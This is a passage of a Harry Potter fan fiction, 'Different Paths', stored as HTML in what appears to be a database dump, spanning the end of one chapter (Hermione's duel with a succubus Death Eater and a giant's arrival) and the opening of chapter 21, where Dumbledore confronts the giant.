&#8220;Pregnant?&#8221; she said again, as if repeating the word would help her comprehend it more.</p>\n\n<p>A hundred thoughts crossed her mind at once: <i>&#8216;How can this be true?&nbsp; I was a virgin until last night.&nbsp; OK, we didn&#8217;t use protection, didn&#8217;t even think about it.&nbsp; But even if my making love to Harry made me pregnant, how could she find that out after only hours after it happened?&#8217;</i></p>\n\n<p>Taking a deep breath, Hermione managed to compose herself enough to ask, &#8220;How can you tell?&#8221;</p>\n\n<p>Cassandra gave Hermione a look that looked to her like pity.&nbsp; &#8220;I have ways.&nbsp; You see my little Hermione, I am what is known as a Carbon Succubus.&#8221;</p>\n\n<p>The term instantly clicked in Hermione&#8217;s mind as she had read about Carbon Succubi in an obscure book of the restricted section of the Hogwarts library.&nbsp; According to the book, during the first Voldemot Wars, the Dark Lord had experimented in methods of giving ordinary witches and wizards the powers of succubi and incubi, demons who visited men and women at night and sucked out their souls through acts of sex.&nbsp; Not necessarily too different from dementors if one thought about it.</p>\n\n<p>&#8220;You...you are a Carbon Succubus?&#8221; asked Hermione.</p>\n\n<p>&#8220;I see, you&#8217;re familiar with the term,&#8221; said Cassandra.&nbsp; &#8220;I, Cassandra Frost, am the sole survivor of our Lord&#8217;s attempts to create the Carbon Succubi and Inccubi.&nbsp; A mere kiss from my lips can kill a human being, much like a Dementor&#8217;s kiss can suck out a soul.&nbsp; Because of my part demonic nature, I can sense the souls of all human beings.&nbsp; Even,&#8221; she pointed at Hermione&#8217;s stomach, &#8220;the soul of a child only conceived hours ago.&#8221;</p>\n\n<p>Hermione didn&#8217;t know what to think.&nbsp; A part of her still wanted to deny the possibility that she was pregnant, but the larger, more rational part of her knew that it was true.&nbsp; <i>&#8216;I&#8217;m pregnant,&#8217;</i> she thought.&nbsp; <i>&#8216;I&#8217;m going to have a baby.&nbsp; I&#8217;m going to have Harry&#8217;s baby.&#8217;</i>&nbsp; Hermione didn&#8217;t know whether to cry or laugh.&nbsp; As it was, she closed her eyes and let a few tears fall free but she couldn&#8217;t stop the smile from forming on her face.</p>\n\n<p>Vaguely, she heard Cassandra say, &#8220;So I&#8217;m asking you again Hermione, please back out now for the sake of your baby.&#8221;&nbsp; Every instinct in Hermione screamed at her to back out for the sake of her baby.&nbsp; If she continued, there would be a strong chance that the baby would be miscarried.&nbsp; She couldn&#8217;t let anything happen to her and Harry&#8217;s baby.&nbsp; That would be what Harry would want.</p>\n\n<p><i>&#8216;But how would I be able to face Harry then?&#8217;</i> she thought.&nbsp; At present Harry was fighting for his own life against Voldemort.&nbsp; How was she supposed to face him <i>when</i> he came back from his battle, while she herself had backed out of her own?&nbsp; How would she be able to stand next to him equally as they brought their baby up in the world?</p>\n\n<p>In that moment, she made her decision.&nbsp; &#8220;No,&#8221; she said, quite sternly.</p>\n\n<p>&#8220;No?&#8221; said Cassandra.&nbsp; &#8220;I am giving you the chance to save your and your child&#8217;s life.&nbsp; Take it.&#8221;</p>\n\n<p>&#8220;I can&#8217;t,&#8221; said Hermione.&nbsp; &#8220;Not, when the father, the one I love, is laying his own life on the line to defeat Voldemort.&nbsp; When he comes back, how could I bare to face him knowing that I backed away like a coward while he staked his life?&nbsp; How could I bare to raise his child after that?&#8221;</p>\n\n<p>&#8220;Fine,&#8221; said Cassandra.&nbsp; &#8220;But that was your last warning, don&#8217;t expect me to pull you anymore favors!&#8221;</p>\n\n<p>Cassandra leveled her wand at Hermione and fired a curse, which Hermione didn&#8217;t recognize.&nbsp; She decided she didn&#8217;t want to know what it did and dodged it quite easily.&nbsp; Cassandra continuously shot the curse at Hermione, who continued dodging it, occasionally with a quick roll.&nbsp; After a while, Hermione decided she had been on the defensive long enough and raised her wand, which prompted a laugh from Cassandra.</p>\n\n<p>&#8220;Why my dear Hermione,&#8221; she said.&nbsp; &#8220;You seem to have forgotten that the simple hexes and jinxes they teach in the Hogwarts Defense against the Dark Arts curriculum.&#8221;</p>\n\n<p>Hermione smirked and said, &#8220;Why Cassandra, whoever said I was going to try to hex you?&nbsp; <i>Wingardium Leviosa!</i>&#8221;&nbsp; Cassandra was completely surprised as Hermione levitated several small rocks into the air around herself.&nbsp; Thus, she was unprepared when Hermione started waving her wand around like a conductor&#8217;s baton, sending the rocks flying like bullets toward Cassandra.&nbsp; Cassandra didn&#8217;t have time to cast a shield charm and could only cover herself with her arms as the rocks start flying around her, constantly pelting her with a barrage of rocks.</p>\n\n<p><i>&#8216;Shield charm!&nbsp; Shield charm!&#8217;</i> Cassandra thought desperately as she vainly tried to protect her face from the rocks.&nbsp; She finally managed to yell, <i>&#8220;Protego!&#8221;</i> creating a silvery, bubble shaped shield around herself that finally stopped the barrage of rocks.</p>\n\n<p>Hermione had already prepared for her next attack though.&nbsp; Reminiscing about her previous night with Harry, she lifted her wand and shouted, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; Hermione had clearly read up on succubi before: succubi and incubi essentially drew their power from their victims&#8217; spirits.&nbsp; In that sense, they were similar to their cousins, the dementors and thus could be countered with the same method.&nbsp; Indeed, as Hermione&#8217;s near corporeal otter patronus scampered toward Cassandra, the succubus part succumbed to the positive powers of Hermione&#8217;s patronus and her shield faltered.&nbsp; The silver otter further leveled itself into Cassandra&#8217;s face, and the carbon succubus recoiled in pain, as the patronus burnt her skin horribly.</p>\n\n<p>Hermione walked up to where Cassandra was writhing on the ground in pain.&nbsp; &#8220;And now, Cassandra, I must ask you to please back out of this duel now,&#8221; she said, unconsciously repeating Cassandra&#8217;s words to her.</p>\n\n<p>Cassandra looked up at Hermione incredulously.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to do any serious harm to you,&#8221; said Hermione.&nbsp; &#8220;Your succubi nature is like a double edged sword.&nbsp; It grants you tremendous powers such as your lethal kiss and your immunity to simple hexes and curses.&nbsp; However, you also gained all the weaknesses of succubi and incubi, namely their weakness to patronuses.&nbsp; Of course, this would give you a huge advantage over someone who doesn&#8217;t anything about a succubus or can&#8217;t create a patronus.&nbsp; However, both don&#8217;t apply to me.&#8221;</p>\n\n<p>Cassandra wasn&#8217;t as hurt as Hermione had first thought however as she suddenly leveled her wand toward Hermione and yelled, <i>&#8220;Reducto!&#8221;</i>&nbsp; The next instant, Hermione was barely able to realize that she had been blasted 10 feet away into the outer wall of the Leaky Cauldron, leaving an impact crater in the wall.&nbsp; Hermione herself hadn&#8217;t necessarily been injured enough though her clothes were quite torn up, especially the left shoulder of her shirt which had been torn off, revealing her bra strap.&nbsp; Hermione tried in vain to cover it up, before giving up and slowly standing up.&nbsp; She then examined her wand whereupon she stifled a gasp of horror when she realized that it had snapped into two pieces.</p>\n\n<p>&#8220;Don&#8217;t lecture me about the pros and cons of being a succubus!&#8221; snarled Cassandra.&nbsp; &#8220;You have no idea, no idea whatsoever it means.&nbsp; I am clearly not human.&nbsp; But I am most certainly not a demon either.&nbsp; So what am I?&nbsp; A freak?&nbsp; Well then, if I am a freak, then the least I can do is be the best for my beloved Lord who breathed life into me.&nbsp; My pure and utmost devotion: that is the consequence of my love for my Lord.&nbsp; Yet, even then, I am constantly by better Death Eaters such as Seth and Yasmin.&nbsp; I am forever thwarted from being the best.&nbsp; So, that means the least I can do is see my Lord&#8217;s orders through!&nbsp; Therefore, I am not backing out of this duel now!&#8221;</p>\n\n<p>Hermione managed to stand up just as Cassandra started conjuring multiple blades of air and started spinning them around herself, like a lethal barrier.&nbsp; Hermione glanced down at her broken wand before pointing it at Cassandra.</p>\n\n<p>&#8220;You don&#8217;t seriously plan to face me with that, do you?&#8221; said Cassandra, as her blades started spinning dangerously close to Hermione.&nbsp; Hermione winced as one of the blades slashed at her, leaving a cut on her cheek.</p>\n\n<p>Taking a breath, Hermione looked at Cassandra, her eyes shining with sympathy and pity, but her face stern.&nbsp; &#8220;I&#8217;m so sorry Cassandra,&#8221; she said.&nbsp; &#8220;I can sympathize with your plight, and I think I can at lest understand your pain a little bit.&nbsp; But that&#8217;s why I can&#8217;t back down either: for Harry&#8217;s sake, for love&#8217;s sake.&nbsp; These consequences of love come in so many different forms, but they give us the motivation to continue beyond what we&#8217;re capable of.&nbsp; That&#8217;s why, because of my love for Harry, I&#8217;m not backing out either.&nbsp; Even if I have to continue fighting with a broken wand!&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Oh,&#8221; groaned Ginny, as she started to regain consciousness.&nbsp; She felt her side and winced in pain as her fingers brushed her broken ribs.&nbsp; &#8220;Oh, what hit me?&#8221;</p>\n\n<p>Vaguely, Ginny became aware that she was on some roof by the broken tiles scattered around her.&nbsp; She also noticed that she was far too weak to perform any magic or to even stand up, so she pulled herself into a sitting position.&nbsp; She took a few deep breaths trying to regain her strength.&nbsp; <i>&#8216;I feel like I&#8217;m dying here,&#8217;</i> she thought.</p>\n\n<p><i>And most especially, thank you, Ginny, for making my life worthwhile.</i></p>\n\n<p>&#8220;Draco?&#8221; Ginny exclaimed, suddenly sitting up.&nbsp; She winced at the pain this sudden movement caused her battered ribs, but had forgotten it a second later as she started contemplating.&nbsp; There was no doubt about it she had just heard Draco&#8217;s voice.&nbsp; <i>That can only mean one thing,&#8217;</i> she thought, <i>&#8216;Harry&#8217;s saved Draco!&nbsp; Draco&#8217;s coming back!&nbsp; Oh thank you, thank you Harry!&#8217;</i></p>\n\n<p>However, her moment of ecstasy soon passed as she noticed the scene on the ground below her.&nbsp; Hermione and Cassandra were still dueling, Cassandra&#8217;s multiple blades constantly slashing at Hermione.&nbsp; Furthermore, Ginny noticed to her horror that Hermione was fending off all the attacks with a broken wand.</p>\n\n<p><i>&#8216;Oh no, Hermione!&#8217;</i>&nbsp; Ginny&#8217;s mind quickly raced over the Fundamental Rules of Wizard Dueling.&nbsp; <i>&#8216;Fundamental rule of wizard dueling number 4: if a dueler&#8217;s wand is destroyed, then the dueler may take a spare wand from a bystander if he/she chooses, so long as the bystander doesn&#8217;t intervene in the duel itself.&#8217;</i></p>\n\n<p>Ginny&#8217;s eyes quickly went to her own wand, lying right next to her.&nbsp; Hurriedly she picked it up and ignoring the pain of her ribs, she threw her wand as hard as she could toward Hermione yelling, &#8220;Hermione!&#8221;</p>\n\n<p>Ginny&#8217;s shouting alerted both Hermione and Cassandra of her wand.&nbsp; Cassandra hurriedly threw one of her blades toward the airborne wand while Hermione desperately yelled, <i>&#8220;Accio, wand!&#8221;</i> praying to God that her broken wand still worked enough for summoning.</p>\n\n<p>Luckily, Hermione&#8217;s own latent magical powers were enough to summon the wand before it could be slashed by Cassandra&#8217;s blade, and the wand sailed into Hermione&#8217;s hand.</p>\n\n<p>Before Cassandra had a chance to react, Hermione quickly thought of Harry and screamed, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; The silver otter charged at horrified Cassandra, completely disabling her in the right leg where it collided.&nbsp; Not taking any more chances, Hermione shouted, <i>&#8220;Expelliarmus!&#8221;</i>&nbsp; Cassandra&#8217;s wand flew out of her hand, far out of reach from anyone as Cassandra herself sunk to the ground.</p>\n\n<p>Hermione took a few calming breaths and said, &#8220;Thank you so much, Ginny.&#8221;</p>\n\n<p>&#8220;No problem Hermione,&#8221; said Ginny, beaming.&nbsp; &#8220;Besides, now that Draco&#8217;s coming back, I&#8217;m not about to let anyone die in front of me.&#8221;&nbsp; Hermione was decidedly confused by Ginny&#8217;s reference to Draco but decided to think about it later.</p>\n\n<p>Hermione walked up to Cassandra.&nbsp; &#8220;I win,&#8221; she said, in a tone stating fact rather than a boast.</p>\n\n<p>&#8220;So, you did,&#8221; said Cassandra.&nbsp; &#8220;Well, I suppose you&#8217;re the better woman than.&#8221;</p>\n\n<p>&#8220;I only won because luck was on my side,&#8221; said Hermione.&nbsp; &#8220;If I hadn&#8217;t been pregnant, you would&#8217;ve kissed me and I would&#8217;ve been dead.&#8221;</p>\n\n<p>Cassandra laughed bitterly.&nbsp; &#8220;So, it was my own misguided nobility that brought on my defeat was it?&nbsp; My, how humiliating: all my life, I have dedicated to my Lord, every aspect of my life, every breath.&nbsp; And now, he will probably kill me for failing him.&nbsp; Well then, I might as well save him the duty!&#8221;&nbsp; Then, to Hermione&#8217;s horror, Cassandra pulled out a knife from her sleeve, clearly intending to slit her own throat.</p>\n\n<p>&#8220;NO!&#8221; screamed Hermione, leaping forward to stop Cassandra from committing suicide.&nbsp; She didn&#8217;t need to bother.</p>\n\n<p>&#8220;Oh no you don&#8217;t!&#8221;&nbsp; The next instant, Ginny was standing next to Cassandra.&nbsp; With one powerful chop at Cassandra&#8217;s neck, Ginny rendered Cassandra unconscious.&nbsp; &#8220;I can understand what it&#8217;s like to be completely devoted to someone, considering that I myself am so devoted to Draco.&nbsp; Still, it&#8217;s just not worth throwing your life away over.&#8221;</p>\n\n<p>&#8220;Thank you, Ginny,&#8221; Hermione said again, breathing a sigh of relief.</p>\n\n<p>All around the girls, legions of Death Eaters were now shivering in pure terror.&nbsp; After all, three of the Elite Ten had just been defeated in front of their very eyes, a feat they had zealously believed was impossible.&nbsp; Noticing the remaining Death Eaters, Hermione turned to them, raised Ginny&#8217;s wand, and said &#8220;Anybody else want some?&#8221;</p>\n\n<p>That must&#8217;ve been the icebreaker for the Death Eaters.&nbsp; Screaming in terror, they ran from the scene as quick as their feet could take them, scattering away as fast as possible to places where Aurors could easily pick them up later.&nbsp; The few remaining Order members that had been fighting the Death Eaters all cheered.</p>\n\n<p>From the second story window of the Leaky Cauldron, a heavily injured Remus Lupin breathed a sigh of relief.&nbsp; &#8220;That was close,&#8221; he said.&nbsp; &#8220;I was really worried about you kids there, but you all managed to pull through.&nbsp; I&#8217;m really proud of all of you.&#8221;</p>\n\n<p>&#8220;Thanks Remus,&#8221; said Ginny, signaling her mentor.&nbsp; &#8220;Well, I guess we&#8217;ve all earned ourselves a nice rest.&nbsp; What do you think Hermione?&#8221;</p>\n\n<p>Hermione however, was occupied by something else.&nbsp; &#8220;Do you hear that?&#8221; she asked.</p>\n\n<p>&#8220;Hear what?&#8221; asked Ginny.&nbsp; Then she heard it too: a dull, low thud.&nbsp; &#8220;Yes.&nbsp; What is it?&#8221;</p>\n\n<p>&#8220;I have no idea,&#8221; said Hermione.&nbsp; She strained her ears and heard the thud again, a little louder.&nbsp; A slow, sense of dread started to grip her and Ginny.</p>\n\n<p>The thud&#8217;s continued on in a pattern, slowly getting louder and louder.&nbsp; Remus glanced over to some cabinets to his left and noticed that the potions were rippling every time there was a thud.&nbsp; &#8220;I have a bad feeling about this,&#8221; he muttered.</p>\n\n<p>Soon, the thuds were loud enough to hear without straining.&nbsp; They could also now feel the slight tremble of the ground that came with every thud.&nbsp; Finally, Hermione half-whispered, half-proclaimed, &#8220;It&#8217;s here!&#8221;</p>\n\n<p>Indeed it was.&nbsp; The next moment, a fifteen-foot long giant blade smashed into the roof of the Leaky Cauldron, demolishing about a third of the building and leaving nothing but rubble.&nbsp; Remus was still in a part of the building that was still standing but he decided that the inn was no longer safe.&nbsp; Meanwhile, Hermione, Ginny, and the few still conscious Order members were looking up at the object of their terror.</p>\n\n<p>It was a giant.&nbsp; A full 25 feet tall giant, dressed in a full set of half plate armor that resembled the Viking style though slightly different.&nbsp; Most terrifying was the horned, masked helmet on the giant&#8217;s head, made out in the guise of an Eastern demon.&nbsp; It was holding a fifteen-foot scimitar shaped blade in its right hand.&nbsp; But the thing that drew to them most of all was the man sitting on the giant&#8217;s shoulder, for they had instantly recognized him.</p>\n\n<p>&#8220;Ha ha ha ha ha!!!!&nbsp; Well done, Fenis!&nbsp; Like I&#8217;ve always said before, we the Titan Controller and Titan Controlled are the mightiest of the Dark Lord&#8217;s army,&#8221; laughed Peter &#8220;Wormtail&#8221; Pettigrew from atop of Fenis the giant&#8217;s shoulder.</p>\n\n<p>&#8220;Oh my God,&#8221; Hermione muttered, sinking to the ground.</p>\n\n<p>&#8220;Peter!&#8221; yelled Remus.&nbsp; &#8220;You pathetic coward!&nbsp; Can&#8217;t you bear to face us on your own?&nbsp; Or do you have to hide behind your giant here?&#8221;</p>\n\n<p>&#8220;Oh please Remus,&#8221; sneered Wormtail.&nbsp; &#8220;We are the Titans: mightiest of the Dark Lord&#8217;s forces.&nbsp; We together are one and neither is complete without the other.&nbsp; Now if you will excuse me, I am about to single handedly wipe out the Order of the Phoenix.&#8221;</p>\n\n<p>Remus started shouting a series of profanities while he thought, <i>&#8216;Where is Hagrid when we need him?&#8217;</i>&nbsp; It was only a split second later that Remus remembered that Hagrid had been seriously injured in the attempted burning of London and had been carted to St. Mungo&#8217;s.</p>\n\n<p>Meanwhile, Order wizards, including Hermione and Ginny, were looking completely defeated as Fenis started to demolish the surrounding buildings.&nbsp; The giant&#8217;s appearance had completely burst the bubble of elation following the defeat of Flame, Icicle, and Cassandra and the subsequent fleeing of the Death Eaters.&nbsp; The thought all of them now had was <i>&#8216;We&#8217;ve lost&#8217;</i>.</p>\n\n<p>Or at least until someone shouted, &#8220;Oh give me a break!&#8221;</p>\n\n<p>&#8220;Ron!&#8221; exclaimed Ginny.&nbsp; Everybody looked toward the voice and noticed that Ron Weasley had regained consciousness.</p>\n\n<p>&#8220;What?&nbsp; Is everybody just giving up because a giant&#8217;s shown up?&#8221; yelled Ron, angrily.&nbsp; &#8220;You&#8217;re surrendering now just because something showed up that you weren&#8217;t expecting?&nbsp; Please, you&#8217;re members of the Order of the Phoenix!&nbsp; You&#8217;re supposed to be prepared for the unexpected!&nbsp; Don&#8217;t give up!&#8221;</p>\n\n<p>&#8220;Such harsh words, Ron Weasley,&#8221; said Wormtail.&nbsp; &#8220;But do you have the power to back them up?&nbsp; Or the guts?&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you come down here and see for yourself, you cowardly, mangy rat!&nbsp; I&#8217;m Ronald Weasley, Big Time Super Wizard in training!&nbsp; I can lick you easily!&#8221;</p>\n\n<p>Ron&#8217;s words seemed to completely aggravate Wormtail.&nbsp; &#8220;Fenis, kill him first!&#8221; he yelled.</p>\n\n<p>&#8220;Roooooooon!!!!!&#8221; screamed Hermione and Ginny.&nbsp; They burst into tears as Fenis&#8217;s blade came crashing down on Ron.</p>\n\n<p><b>To be continued...</b></p>\n\n<p>A/N This chapter took me such a long time to get out since I didn&#8217;t have much of a chance at working on it while my parents were here.&nbsp; At least, now I just might have the chance to update my chapters more quickly.&nbsp; If any of my regular readers found certain scenes in this chapter suspiciously similar to a scene in one of my other fics, I&#8217;ll explain it in the A/N of my next chapter.&nbsp; Next: Ron&#8217;s fate and what happens afterward.</p> '),
	(33, 21, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 9">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<link rel="File-List" href="./Chapter21_files/filelist.xml">\n\n<title>Title: Different Paths (21)</title>\n\n<xml> Eric Riley Normal Eric Riley 2 346 2003-09-01T06:53:00Z 2003-09-01T06:53:00Z 13 2842 16205 Portland State University 135 32 19900 9.3821 </xml>\n\n<style>\n\n</style>\n\n\n\n<p><b>Title:</b> Different Paths (21)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> Those of you familiar with my work might&#8217;ve noticed that the end of chapter 20 was nearly identical to the end of chapter 10 of <u>Return of the Lion</u>.&nbsp; The reason for this is quite straightforward.&nbsp; After I had written <u>War Against Magiterran</u>, I started considering making the <i>Rurouni Kenshin:Kyoto story arc</i> into a novel length Harry Potter fic.&nbsp; At the time however, I decided that making <i>Kenshin</i> into a fic like that would be too daunting for me so I wrote <u>Return of the Lion</u> instead, though I still included some Kenshin inspired scenes (in particular, the giant scene from chapter 10).&nbsp; Of course, several months later, I indeed did start writing my own version of the <i>Rurouni Kenshin: Kyoto story arc</i> into an HP fic called <u>Different Paths</u>.&nbsp; And as the &#8216;giant&#8217; scene was originally from Kenshin, it&#8217;s included in this fic as well.</p>\n\n<p><b></b></p>\n\n<p><b>Chapter 21: Giant against Super Wizard</b></p>\n\n<p>&#8220;Roooooooon!!!!!&#8221; screamed Hermione and Ginny.&nbsp; They burst into tears as Fenis&#8217;s blade came crashing down on Ron.</p>\n\n<p>Ron silently braced himself for the blow.&nbsp; It was strange he was feeling no fear of death.&nbsp; All he felt was a sense of calm and a deep seated of honor that ran through his veins: an honor that came to people who gave their lives up on the battlefield for the sake of the greater good.&nbsp; <i>&#8216;Maybe this is what Harry feels every time he faces You-Know-Who,&#8217;</i> thought Ron as he closed his eyes and silently waited for death to embrace him.</p>\n\n<p>It never came.</p>\n\n<p>Instead a familiar voice said, <i>&#8220;Protego!&#8221;</i> and Ron could feel the magical energies of a shield charm form itself into a large bubble around himself and the one now standing in front of him whom had cast the charm.&nbsp; The blade struck the shield with a dull, metallic sound that reverberated throughout the street.</p>\n\n<p>Hermione, Ginny, and the Order members were quite shocked.&nbsp; They couldn&#8217;t see anything as the blade had brought up a lot of dust as it struck but as the dust settled, they could see that Ron was very much safe underneath a gray shield charm cast by the old man that had suddenly appeared in front of Ron.&nbsp; A familiar looking old man wearing purple and scarlet robes, had his wand pointed upward creating the shield charm, and most telling of all, had waist length silver hair and a beard long enough to be tucked into his belt.</p>\n\n<p>&#8220;Most impressive Ronald,&#8221; said the old man, giving Ron a cheeky grin.&nbsp; &#8220;I must say I am not about to let such a remarkable young man as yourself lose his life right here right now, in such a way.&#8221;</p>\n\n<p>Ron fell to the ground, completely shocked.&nbsp; &#8220;Dumbledore!&#8221; he exclaimed.</p>\n\n<p>&#8220;Dumbledore?!&#8221; said Wormtail, his voice now filled with terror.</p>\n\n<p>&#8220;Professor Dumbledore!&#8221; exclaimed Hermione, her voice now filled with joy.&nbsp; &#8220;Ron!&nbsp; You&#8217;re all right!&#8221;&nbsp; This was followed by murmurs of &#8220;Dumbledore, we&#8217;re saved!&#8221; and &#8220;By Jove, it&#8217;s really him!&#8221; from the Order members surrounding her.&nbsp; Most of them hadn&#8217;t seen Dumbledore in years.</p>\n\n<p>Dumbeldore turned to Ron and smiled.&nbsp; &#8220;I must say Mr. Weasley that you did a remarkable job on your own against those Death Eater Sisters.&nbsp; Though I do say that your declaration of &#8216;Big Time Super Wizard in training&#8217; was a little premature as you haven&#8217;t quite started training for it yet.&#8221;</p>\n\n<p>Ron was clearly embarrassed.&nbsp; &#8220;You, you heard me?&#8221;</p>\n\n<p>&#8220;I did,&#8221; replied Dumbledore.&nbsp; &#8220;In fact I was only just down the street, listening to every conversation with a hearing charm.&nbsp; I heard absolutely everything that was said on Charing Cross Road over the past few hours while I was also making sure no muggles accidentally strayed into the area.&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Ron, completely forgetting that he was addressing his former headmaster, &#8220;You mean you were here the whole time?&nbsp; Why didn&#8217;t you show up earlier to help us?&#8221;</p>\n\n<p>&#8220;I did not think it was necessary,&#8221; said Dumbledore.&nbsp; &#8220;All of you seemed to be handling the situation most impressively and I decided that I show up only when I was most needed. Now Ronald, all modesty aside how would you like to observe a true &#8216;Super Wizard&#8217; in action?&#8221;</p>\n\n<p>Ron was taken aback by Dumbledore&#8217;s uncharacteristic words but Dumbledore was already facing the giant and shouting, &#8220;That was a most impressive blow.&nbsp; I wouldn&#8217;t be surprised if you were truly amongst the mightiest of Voldemort&#8217;s Death Eaters.&nbsp; Surely, without that shield charm, I would&#8217;ve been killed by that one blow alone.&#8221;</p>\n\n<p>From atop the giant&#8217;s shoulder, Wormtail started laughing.&nbsp; &#8220;So says the great and mighty Albus Dumbledore,&#8221; he proclaimed.&nbsp; &#8220;You flatter me, to imagine that you of all people regard me as amongst the mightiest of the Dark Lord&#8217;s Death Eaters.&nbsp; So, even Albus Dumbledore is humble enough to acknowledge the fact of his weaker powers when confronted with fa...&#8221;</p>\n\n<p>&#8220;Mr. Pettigrew, would you please kindly stop talking to yourself?&#8221; said Dumbledore, his voice stern, &#8220;I am trying to talk to Mr. Fenis.&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Wormtail, completely taken aback, &#8220;To Fenis?&#8221;</p>\n\n<p>&#8220;Speak to the giant?&#8221; wondered Ginny out loud.&nbsp; &#8220;Can the giant even communicate with people?&#8221;</p>\n\n<p>&#8220;Shh,&#8221; Lupin shushed Ginny as he very much wanted to hear what Dumbledore wanted to say.</p>\n\n<p>&#8220;Mr. Fenis,&#8221; shouted Dumbledore.&nbsp; &#8220;Like I was saying, that was a most impressive blow.&nbsp; You seem to have the power and the heart of a warrior hidden inside that giant frame of yours.&nbsp; And I&#8217;m sure you have served Voldemort and the Death Eaters loyally for quite some time.&nbsp; However, don&#8217;t you think it&#8217;s about time you get to fight your own fight?&nbsp; To choose your own battles?&#8221;</p>\n\n<p>Dumbledore&#8217;s last two sentences clearly had an affect on Fenis, for behind his mask, his eyes widened and shone with a curious light.</p>\n\n<p>&#8220;There is such a thing as being too strong,&#8221; said Dumbledore.&nbsp; &#8220;For if you&#8217;re too strong every time you go into a duel you&#8217;re automatically labeled as being &#8216;unfair&#8217; or &#8216;having an advantage&#8217;.&nbsp; Especially in your case your immense size makes it impossible for you to participate in a &#8216;fair fight&#8217; no matter how much you wish for it.&#8221;&nbsp; Dumbledore than outstretched his arms, as if he were offering himself.&nbsp; &#8220;So, now that you&#8217;ve finally met someone who can truly match you, do you not want a fair fight?&nbsp; On <i>equal</i> terms?&#8221;</p>\n\n<p>&#8220;Equal Terms?&nbsp; Of course!&#8221; exclaimed Wormtail.&nbsp; &#8220;Fenis!&nbsp; He&#8217;s trying to convince you to remove your armor!&nbsp; He&#8217;s trying to trick you into lowering your defenses by taking off your armor!&#8221;</p>\n\n<p>&#8220;His armor?&#8221; questioned Ron as Hermione helped him up.&nbsp; &#8220;What&#8217;s the armor got to do with being on equal terms?&#8221;</p>\n\n<p>&#8220;It&#8217;s a question of offense against defense,&#8221; answered Hermione.&nbsp; &#8220;The armor, while it&#8217;s excellent in protecting Fenis, is exceedingly large and cumbersome: which basically lowers Fenis&#8217;s offensive capabilities to about half way.&nbsp; Without the armor, Fenis will be comparatively defenseless but he&#8217;ll also have 100% of his strength available to him.&nbsp; Dumbledore is challenging Fenis to an all or nothing one hit duel.&#8221;</p>\n\n<p>&#8220;A one hit duel?&#8221; exclaimed Ron.&nbsp; &#8220;Is he mad?&nbsp; Dumbledore wouldn&#8217;t be able to use a shield charm in a one hit duel.&nbsp; And with that giant at 100% power, he wouldn&#8217;t stand a chance!&#8221;</p>\n\n<p>&#8220;We just have to trust him,&#8221; said Hermione as she hoisted Ron to what remained of the Leaky Cauldron.</p>\n\n<p>Meanwhile, Wormtail was still shouting at the giant: &#8220;Fenis!&nbsp; FENIS!&nbsp; Are you even listening to me?&nbsp; Are you seriously listening to him rather than me?&nbsp; You overgrown ignoramus!&nbsp; Who found you wounded and exhausted from escaping hundreds of Aurors?&nbsp; Me!&nbsp; Who provided you with a new home after the giants kicked you out?&nbsp; Me!&nbsp; Who took you to the Dark Lord and had managed to get you inducted into the Death Eaters?&nbsp; ME!&nbsp; And you&#8217;re letting this cooky old man talk to you this way while ignoring me?&nbsp; You fool!&nbsp; Answer me!&#8221;</p>\n\n<p>&#8220;Was he always that annoying?&#8221; asked Ginny.</p>\n\n<p>&#8220;Oh, you don&#8217;t know the half of it,&#8221; answered Remus.</p>\n\n<p>Wormtail was still yelling at Fenis but it was clear that the giant was hearing none of it.&nbsp; The next second, the giant gave a mighty cry.&nbsp; Bit by bit, Fenis shed off his armor, even to the point where a terrified and shocked Wormtail was thrown to the ground along with Fenis&#8217;s breastplate.&nbsp; Wormtail looked up timidly from the ground and whispered, &#8220;Fenis?&#8221;</p>\n\n<p>There stood the giant, armor less and starring at Dumbledore, tears streaming down his eyes.</p>\n\n<p>&#8220;What?&nbsp; Tears?&#8221; asked Ginny.&nbsp; &#8220;How come?&#8221;</p>\n\n<p>Remus face palmed himself.&nbsp; &#8220;Of course!&nbsp; How could I have been so stupid?&nbsp; I of all people be so prejudiced?&#8221; he exclaimed.</p>\n\n<p>&#8220;Huh?&nbsp; What?&#8221; questioned Ginny.</p>\n\n<p>&#8220;Don&#8217;t you understand?&#8221; said Remus.&nbsp; &#8220;Every place this Fenis has been, he&#8217;s been treated like a monster.&nbsp; Everybody he has ever met has recoiled from him in terror and fear, just because of his enormous size.&nbsp; He&#8217;s been a victim of prejudice for years, like I have been, and yet even I recoiled at him, thinking &#8216;monster&#8217;!&nbsp; Dumbledore is the most 